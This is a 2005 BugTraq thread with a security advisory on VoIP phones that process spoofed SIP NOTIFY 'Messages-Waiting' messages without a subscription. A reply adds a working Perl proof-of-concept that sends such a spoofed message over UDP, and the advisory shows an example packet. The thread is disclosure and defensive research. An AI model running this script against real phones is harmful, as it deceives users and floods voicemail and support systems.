BugTraq
VoIP-Phones: Weakness in proccessing SIP-Notify-Messages Jul 06 2005 04:20PM
Tobias Glemser (tglemser tele-consulting com) (2 replies)
Re: VoIP-Phones: Weakness in proccessing SIP-Notify-Messages Oct 12 2005 02:15PM
Tobias Glemser (tglemser tele-consulting com)
Re: VoIP-Phones: Weakness in proccessing SIP-Notify-Messages Jul 18 2005 04:10PM
Javor Ninov (drfrancky securax org)
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ZyXEL Prestige 2000W VoIP Wi-Fi Phone - VULNERABLE
and just a quick POC:

#!/usr/bin/perl
# SIP NOTIFY POC by DrFrancky (at) securax (dot) org [email concealed]
use Socket;
SendSIPTo("10.0.0.1"); # IP of the phone

sub SendSIPTo{
$phone_ip = shift;
$MESG="NOTIFY sip:chaos\@$phone_ip:5060 SIP/2.0
Via: SIP/2.0/UDP 1.2.3.4:5060;branch=000000000000000
From: \"drfrancky\" <sip:drfrancky\@1.2.3.4>;tag=000000000
To: <sip:chaos\@$phone_ip>
Contact: <sip:drfrancky\@1.2.3.4>
Event: message-summary
Call-ID: drfrancky\@1.2.3.4
CSeq: 102 NOTIFY
Content-Type: application/simple-message-summary
Content-Length: 37
Messages-Waiting: yes
Voicemail: 3/2";

$proto = getprotobyname('udp');
socket(SOCKET, PF_INET, SOCK_DGRAM, $proto) ;
$iaddr = inet_aton("0.0.0.0");
$paddr = sockaddr_in(5060, $iaddr);
bind(SOCKET, $paddr) ;
$port=5060;
$hisiaddr = inet_aton($phone_ip) ;
$hispaddr = sockaddr_in($port, $hisiaddr);
send(SOCKET, $MESG, 0,$hispaddr ) || warn "send $host $!\n";
}

DrFrancky
Tobias Glemser wrote:
| Tele-Consulting GmbH
| security | networking | training
|
| advisory 05/07/06
|
| URL of this advisory:
| http://pentest.tele-consulting.com/advisories/05_07_06_voip-phones.txt
|
|
| Topic:
| Weakness in implemenation of proccessing SIP-Notify-Messages
| in VoIP-Phones.
|
| Summary:
| Due to ignoring the value of 'Call-ID' and even 'tag' and
| 'branch' while processing NOTIFY messages, VoIP-Hardphones
| process spoofed status messages like "Messages-Waiting".
|
| According to RFC 3265, Chap 3.2 every NOTIFY has to be em-
| bedded in a subcription mechanism. If there ain't knowledge
| of a subscription, the UAC has to respond with a "481
| Subscription does not exist" message.
|
| All tested phones processed the "Messages-Waiting" messages
| without prior subscriptions anywhere.
|
| Effect:
| An attacker could send "Messages-Waiting: yes" messages to
| all phones in a SIP-environment. Almost every phone proccesses
| this status message and shows the user an icon or a blinking
| display to indicate that new messages are available on the
| voice box.
|
| If the attacker sends this message to many recipients in a
| huge environment, it would lead to server peaks as many users
| will call the voice box at the same time.
| Because there are no new voice messages as indicated by the
| phone the users will call the support to fix this alleged server
| problem.
|
| All tested phones process the message with a resetted Call-ID,
| 'branch' and 'tag' sent by a spoofed IP-Adress.
|
| Example:
| Attacker spoofs the SIP-Proxys IP, here: 10.1.1.1
| Victim 10.1.1.2
|
| UDP-Message from Attacker to Victim
|
| Session Initiation Protocol
| Request-Line: NOTIFY sip:login (at) 10.1.1 (dot) 2 [email concealed] SIP/2.0
| Message Header
| Via: SIP/2.0/UDP 15.1.1.12:5060;branch=000000000000000
| From: "asterisk" <sip:asterisk (at) 10.1.1 (dot) 1 [email concealed]>;tag=000000000
| To: <sip:login (at) 10.1.1 (dot) 2 [email concealed]>
| Contact: <sip:asterisk (at) 10.1.1 (dot) 1 [email concealed]>
| Call-ID: 00000000000000 (at) 10.1.1 (dot) 1 [email concealed]
| CSeq: 102 NOTIFY
| User-Agent: Asterisk PBX
| Event: message-summary
| Content-Type: application/simple-message-summary
| Content-Length: 37
| Message body
| Messages-Waiting: yes\n
| Voicemail: 3/2\n
|
| Solution:
| Phones who receive a NOTIFY message to which no subscription
| exists, must send a "481 Subscription does not exist" response.
| It should be possible to use the REGISTER request as a
| non-SUBSCRIBE mechanism to set up a valid subscription.
|
| This would reduce the possibility of an attack in a way, that
| only with a sniffed and spoofed subcription such an attack would
| be possible. Background is given by the way dialogs are des-
| cribed in RFC 3261 and the sections 5.5 and 3.2 of RFC 3265.
|
|
| Affected products:
| Cisco 7940/7960
| Grandstream BT 100
| others will be tested in future
|
|
| --
| Tobias Glemser
|
|
| TTTTTTT CCCC
| TT C tglemser (at) tele-consulting (dot) com [email concealed] +49 (0)7032/97580 (fon)
| TT C pentest.tele-consulting.com +49 (0)7032/74750 (fax)
| TT C
| TT C Tele-Consulting GmbH, Siedlerstrasse 22-24, 71126 Gaeufelden
| TT CCCC security | networking | training

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